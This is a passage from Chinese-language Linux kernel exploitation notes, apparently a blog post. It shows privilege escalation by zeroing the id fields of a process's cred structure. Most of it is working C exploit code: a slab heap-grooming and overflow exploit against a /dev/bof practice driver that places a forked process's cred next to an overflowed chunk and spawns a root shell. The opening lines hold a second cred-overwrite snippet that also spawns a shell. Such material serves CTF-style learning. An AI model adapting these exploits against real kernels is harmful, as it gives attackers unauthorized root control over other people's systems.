//p &((struct task_struct*)0)->real_cred
// 0x5a8
kmemcpy(buf, task_addr+0x5a8, 16);
char* real_cred = (void *)(*(long *)buf);
printf("task_addr: %p
", task_addr);
printf("real_cred: %p
", real_cred);
char* cred_ids = malloc(0x1c);
memset(cred_ids, 0, 0x1c);
// 修改 real_cred
kmemcpy(real_cred, cred_ids, 0x1c);
// 修改 task->cred = real_cred
kmemcpy(real_cred+8, &real_cred, 8);
system("sh");
return 0;
}
运行测试
gid
和 groups
没有为 0
, 貌似是 qemu
的 特点导致的?因为它们后面的字段能被成功设置为 0
参考
LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる
利用 set_fs
在内核中 set_fs
是一个用于设置 thread_info->addr_limit
的 宏,利用这个,再加上一些条件,可以直接修改 thread_info->addr_limit
, 具体可以看 Android PXN绕过技术研究
修改 cred提权
本节使用 heap_bof
中的代码作为示例。
漏洞请看 Rop-By-Heap-Vulnerability 小结。
介绍
在内核中用 task_struct
表示一个进程的属性, 在创建一个进程的时候同时会分配 cred
结构体用于标识进程的权限。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
提权到 root
除了调用 commit_creds(prepare_kernel_cred(0))
外,我们还可以通过 修改 cred
结构体中 *id
的字段 为0
,其实就是把 cred
结构体从开始一直到 fsuid 的所有字段全部设置为0
, 这样也可以实现 提权到 root
的目的。
堆溢出为例
本节就实践一下,前面利用这个驱动的 uaf
漏洞,这节就利用堆溢出。
要利用堆溢出就要搞清楚内核真正分配给我们的内存大小,这里 cred
结构体大小为 0xa8
(编译一个内核 gdb
查看之), 由于向上对齐的特性内核应该会分配 0xc0
大小的内存块给我们,测试一下(具体代码可以看最终 exp
)。
// 让驱动分配 10 个 0xa8 的内存块
for (int i = 0; i < 80; ++i)
{
p.idx = 1;
ioctl(fds[0], 5, &p); // malloc
}
printf("clear heap done
");
// 让驱动分配 10 个 0xa8 的内存块
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
首先分配 80
个 0xa8
大小内存块,用于清理内存碎片,这样就可以使后续的内存分配,可以分配到连续的内存空间。
可以看到清理内存碎片后的分配,是连续的每次分配都是相距 0xc0
,说明内核实际分配的内存大小就是 0xc0
. 这 和 slub
机制描述的一致(分配的 size
向上对齐)
于是利用思路就是
- 首先分配
80
个0xa8
(实际是0xc0
) 的内存块 对内存碎片进行清理。 - 让驱动调用几次
kmalloc(0xa8, GFP_KERNEL )
,这会让内核分配 几个0xc0
的内存块。 - 释放中间的一个,然后调用
fork
会分配cred
结构体,这个结构体会落入刚刚释放的那个内存块。 - 这时溢出该内存块的前一个内存块,就可以溢出到
cred
结构体,然后把 一些字段设置为0
,就可以提权了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct param
{
size_t len; // 内容长度
char* buf; // 用户态缓冲区地址
unsigned long idx; // 表示 ptr 数组的 索引
};
int main(void)
{
int fds[10];
int ptmx_fds[0x100];
char buf[8];
int fd;
for (int i = 0; i < 10; ++i)
{
fd = open("/dev/bof", O_RDWR);
if (fd == -1) {
printf("open bof device failed!
");
return -1;
}
fds[i] = fd;
}
struct param p;
p.len = 0xa8;
p.buf = malloc(p.len);
// 让驱动分配 10 个 0xa8 的内存块
for (int i = 0; i < 80; ++i)
{
p.idx = 1;
ioctl(fds[0], 5, &p); // malloc
}
printf("clear heap done
");
// 让驱动分配 10 个 0xa8 的内存块
for (int i = 0; i < 10; ++i)
{
p.idx = i;
ioctl(fds[i], 5, &p); // malloc
}
p.idx = 5;
ioctl(fds[5], 7, &p); // free
int now_uid;
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
perror("fork error");
return 0;
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4;
p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(fds[4], 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
now_uid = getuid();
printf("uid: %x
", now_uid);
if (!now_uid) {
// printf("get root done
");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
// puts("failed?");
}
} else {
wait(0);
}
getchar();
return 0;
}
以上是关于linux kernel pwn notes(内核漏洞利用总结)的主要内容,如果未能解决你的问题,请参考以下文章